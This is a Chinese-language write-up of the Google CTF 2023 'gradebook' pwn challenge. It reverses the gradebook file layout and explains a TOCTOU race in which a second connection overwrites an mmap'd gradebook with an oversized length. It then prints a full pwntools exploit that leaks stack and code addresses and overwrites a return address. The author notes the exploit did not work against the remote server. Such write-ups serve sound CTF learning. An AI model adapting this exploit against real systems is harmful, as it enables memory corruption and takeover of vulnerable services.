1. googlectf 2023 gradebook
    1. gradebook 结构
    2. toctou
    3. Exp
  2. 想看

googlectf 2023 gradebook

googlectf 2023

fstat 查看 fd 的信息,返回一个 stat 结构体

mmap 将文件内容映射到内存,可以直接通过指针读取而不是 read write

gradebook 结构

根据函数 sub_2247 开头的部分可以推测出 gradebook 的结构

0x4 year
0x8 grade book name (32 bytes)
0x28 student name (32 bytes)
0x48 size of this gradebook (uint)
0x50 first grade structure offset
0x58 new grade structure offset

每一条记录 grade 是一个大小为 0x40 的结构体

0x0 class
0x8 course title (22 bytes)
0x1e grade (2bytes)
0x20 teacher (12 bytes)
0x2c room
0x30 period
0x38 next structure offset

toctou

TOCTOU (Time-of-check to time-of-use) ,先检查后使用描述的是一种文件的操作方式,比如:

// NOTE: This program has setuid access rights flag

if (access("filePathName", W_OK))
{
   exit(EXIT_FAILURE);
}

fd = open("filePathName", O_WRONLY);
write(fd, buffer, sizeof(buffer));

在一个文件完成检查到使用的时间间隙,文件信息可能被改变。在上面的程序中,access() 这个检查和 open() 这个实际访问操作中可能会有其他(恶意)程序对文件系统进行更改,从而导致恶意访问发生。

在本题中,一次连接 open file,再有一个新的连接像已经打开的文件 upload 一个新的 gradebook,设置一个很大的 gradebook size (绕过了 buf. st_size 限制)就可以读写指定的地址

//绕过了以下 check,正常上传的 dradebook 的偏移不会超过 mmap 映射的区域
if ( *((_QWORD *)gradebook_addr + 9) > len
|| *((_QWORD *)gradebook_addr + 11) > *((_QWORD *)gradebook_addr + 9)
|| *((_QWORD *)gradebook_addr + 11) <= 0x5FuLL )

Exp

撕了得了,远程不通感觉栈布局不一样?以及好像也可以爆破 1/16 概率的 aslr

from pwn import *

elf_path = "./chal"
ip = "gradebook.2023.ctfcompetition.com"
port = "1337"
content = 0

context(os='linux',arch='amd64')
if content == 1:
    os.system('tmux set mouse on')
    context.terminal = ['tmux','splitw','-h']
    p = process(elf_path)
    p_fake = process(elf_path)
    # p = gdb.debug(elf_path)

else:
    p = remote(ip, port)
    p_fake = remote(ip, port)


r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

# ----------------------------------------------------------

# upload a narmal gradebook
sla(b'PASSWORD:\n', b'pencil')
sla(b'3. QUIT\n\n', b'2')
sla(b'ENTER FILENAME:\n', b'x')
rud(b'GENERATED FILENAME: ')
file_name = ru(b'ENTER')[:44].decode()
f = open("gradebook", "rb")
file_data = f.read()
sla(b'FILE SIZE:\n', str(len(file_data)).encode())
sa(b'SEND BINARY FILE DATA:\n',  file_data)
sla(b'3. QUIT\n\n', b'1')
sla(b'ENTER FILENAME:', file_name.encode())
log.success(file_name)

# leak stack_addr
sla(b'6. QUIT\n\n', b'1')
sla(b'CLASS:\n', b'1')
sla(b'COURSE TITLE:\n', b'1')
sla(b'GRADE:\n', b'1')
sla(b'TEACHER:\n', b'1')
sla(b'ROOM:\n', b'1'*4)
sla(b'PERIOD:\n', b'1')
ru(b' 1111     ')
ret_addr = u64(ru(b'\x7f').ljust(8, b'\x00')) - 0x150
leak('ret_addr', ret_addr)

# leak fun_addr
grade_book = 0x4752ADE50000
fake_file = file_data[:0x48]
fake_file += p64(0xffffffffffffffff)
fake_file += p64(ret_addr - grade_book)
fake_file += p64(ret_addr - grade_book)
p_fake.sendlineafter(b'PASSWORD:\n', b'pencil')
p_fake.sendlineafter(b'3. QUIT\n\n', b'2')
p_fake.sendlineafter(b'ENTER FILENAME:\n', file_name.encode())
p_fake.sendlineafter(b'ENTER FILE SIZE:\n', str(len(fake_file)).encode())
p_fake.sendafter(b'SEND BINARY FILE DATA:\n',  fake_file)

# leak stack_addr
sla(b'6. QUIT\n\n', b'2')
sla(b'WHICH GRADE:\n', b'0')
ru(b'\x0a   ')
fun_addr = u64(rud(b'   ').ljust(8, b'\x00'))
leak('fun_addr', fun_addr)

# change ret addr
sla(b'6. QUIT\n\n', b'1')
sla(b'CLASS:\n', p64(fun_addr - 0xd95))
sla(b'COURSE TITLE:\n', b'1')
sla(b'GRADE:\n', b'1')
sla(b'TEACHER:\n', b'1')
sla(b'ROOM:\n', b'1'*4)
sla(b'PERIOD:\n', b'1')

p.interactive()

想看

Defcon-30-Quals rust-pwn constricted